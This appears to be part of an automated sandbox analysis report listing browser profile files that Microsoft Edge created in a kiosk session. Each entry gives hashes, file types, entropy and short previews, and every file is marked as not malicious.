SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.24346399451162
Encrypted:	false
SSDEEP:	6:MJVl1wkn23oH+Tcwt0jqEKj3K/2jM8B2KLlOH4q2Pwkn23oH+Tcwt0jqEKj3K/2L:McfYebqqBvFLUYvYfYebqqBQFUv
MD5:	5321948F0D866B64D31AB3049F0D3D9D
SHA1:	EEA94B78191B2AE38F6CDF553EB817CC50E83AD4
SHA-256:	CCCB13F62E9CCA23280F68DA5E133FABB64DCCE40628B9587829DB26B25B8B6D
SHA-512:	7A008FB32C2A55B16BCBE8B34EB14FF177E13FC9077920FCB71E1C968E6CFA477DF321E60C20A3D1D536EEEE14ADD0CDEF6D3738C22E66E959D9322243D0A7D3
Malicious:	false
Preview:	2024/08/31-23:09:17.462 1700 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb since it was missing..2024/08/31-23:09:17.837 1700 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0d44eb04-83d7-46b6-9152-c1864c532a5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.5559635235158827
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:OIEumQv8m1ccnvS6
MD5:	9AAAE8C040B616D1378F3E0E17689A29
SHA1:	F91E7DE07F1DA14D15D067E1F50C3B84A328DBB7
SHA-256:	5B94D63C31AE795661F69B9D10E8BFD115584CD6FEF5FBB7AA483FDC6A66945B
SHA-512:	436202AB8B6BB0318A30946108E6722DFF781F462EE05980C14F57F347EDDCF8119E236C3290B580CEF6902E1B59FB4F546D6BD69F62479805B39AB0F3308EC1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c60417b7-c0bf-4401-93be-8e284a53a481.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e9866b75-f1cb-49a1-b6b2-ce47817663ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	391
Entropy (8bit):	5.20414440464063
Encrypted:	false
SSDEEP:	6:SrdRq1wkn23oH+Tcwt0jqEKj0QM72KLlgllL+q2Pwkn23oH+Tcwt0jqEKj0QMxIg:cdbfYebqqB6LEIvYfYebqqBZFUv
MD5:	DBBB01CD04AB64B3D50F677F54228803
SHA1:	C317D2F86C0399E4F49D3EF2C87B101919525E18
SHA-256:	C1C2CE82090689336D2CBF5D75F377DAEFE54D6F5043DECCCDC0945714EF4A8A
SHA-512:	6CE832519C1B41B4978F1210CCADA58610EEBEBA0F41BD5323098C93DB725E80C58398A96128009C23647172247A2F364C9141F13E2B0556B5DD7E5B99886FB9
Malicious:	false
Preview:	2024/08/31-23:09:33.224 19a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage since it was missing..2024/08/31-23:09:33.252 19a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2641745062052
Encrypted:	false
SSDEEP:	6:OwRM1wkn23oH+Tcwtkx2KLlMqL1yq2Pwkn23oH+TcwtCIFUv:RrfYebkVL3yvYfYebLFUv
MD5:	DE8E4FC2E8CDFD37A939A4994A0D18A2
SHA1:	BB8370454B2E2E39CBA1B394B611B4C34D107B68
SHA-256:	A9691E20FBB0FDCFCAF7B819F84B89D0D733B160267ACDBE3F4BBE2C1839A055
SHA-512:	4133DC8F34FB919434A6601D9A91FCE2F9C989986BB479892CE015707F975DCEE705463F847D8A83DE1A4B8DFCB2EBCF1424BCF72E090CF03B94CB6CB7C0B29E
Malicious:	false
Preview:	2024/08/31-23:09:15.745 a74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB since it was missing..2024/08/31-23:09:15.762 a74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3528485475628876
Encrypted:	false
SSDEEP:	12:TLiN6CZhDu6MvDOF5yEHFxOUwa5qguYZ75fOSiPe2d:TLiwCZwE8I6Uwcco5fBtC
MD5:	F2B4FB2D384AA4E4D6F4AEB0BBA217DC
SHA1:	2CD70CFB3CE72D9B079170C360C1F563B6BF150E
SHA-256:	1ECC07CD1D383472DAD33D2A5766625009EA5EACBAEDE2417ADA1842654CBBC8
SHA-512:	48D03991660FA1598B3E002F5BC5F0F05E9696BCB2289240FA8CCBB2C030CDD23245D4ECC0C64DA1E7C54B092C3E60AE0427358F63087018BF0E6CEDC471DD34
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002110589502647469
Encrypted:	false
SSDEEP:	3:ImtVYsqv:IiV7
MD5:	D7AF69A09B61AE979B66083589D73128
SHA1:	666A926E5DE1C5B1B6DAD8FB9DBACA1C8F887D4F
SHA-256:	4701497A9B551B6CF6279AB38E3A5CFE27BD94027E948F3F5F60A29EE53A9C3D
SHA-512:	E18D2AA6864CDD910D78F82235F4143D33F7BCA08A47D6606438A9EA892072233291FF73CD2F89ABDF2AF04FBECB1D91E28B75006CA587BEE8E57E9A778387AC
Malicious:	false
Preview:	VLnk.....?......!.xD...O................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	182272
Entropy (8bit):	1.0770384354983034
Encrypted:	false
SSDEEP:	192:erb2qAdB9TbTbuDDsnxCkOTSAE+WslKOMq+vVumYSPnn66:e/2qOB1nxCkOTSAELyKOMq+vVumvp
MD5:	935FC3733A4B0162A069CC34A82ED62C
SHA1:	A690D6D9423E543A3661647AE8CE3C1D83B92DF7
SHA-256:	E80A9DF9BC44CF41B74A8B3B46557367056ABAF0A9DB0A9DCF13D62420340D39
SHA-512:	5CA4A2109701F3C071D173A4D293DE900777F70C635083E50CFA1D2200763E14542D0A239A4C635E21647D383FD94E9253B2B77D7AE2ED2B6EABF2418EAE67CA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.7836182415564406
Encrypted:	false
SSDEEP:	24:LLqlCouxhK3thdkSdj5QjUsEGcGBXp22iSBgm+xjgm:uOK3tjkSdj5IUltGhp22iSBgm+xj/
MD5:	AA9965434F66985F0979719F3035C6E1
SHA1:	39FC31CBB2BB4F8FA8FB6C34154FB48FBCBAEEF4
SHA-256:	F42877E694E9AFC76E1BBA279F6EC259E28A7E7C574EFDCC15D58EFAE06ECA09
SHA-512:	201667EAA3DF7DBCCF296DE6FCF4E79897C1BB744E29EF37235C44821A18EAD78697DFEB9253AA01C0DC28E5758E2AF50852685CDC9ECA1010DBAEE642590CEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\cb7e708e-17dc-4224-9140-d1a436b5e074.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	6424
Entropy (8bit):	4.976523767708875
Encrypted:	false
SSDEEP:	96:stZqfvis1W5db93CT1N8zGQjs85eh6Cb7/x+6MhmuecmAeKEsQT2M0/EJ:stZJs45KT1Nkrjs88bV+FiAGP0MJ
MD5:	7B41E26D84BA18BCD48F24C8053FD1FD
SHA1:	0E881209C9BE2FEEB2374A9ECCABE5BC6654E60B
SHA-256:	03CC524E1981C8DBB6D7F3444B28E0054577DE362562A138B30DA409FC17B2F5
SHA-512:	88853623CFD7853C68B8692A7E5B88FF75C407C8085242A193B8719040DEEA1B9A6F60F5FE18A16B6BF95BF669DD2E81585EE74E8E58D017BFB90F63244197A5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369633756607037","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369633756599877"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
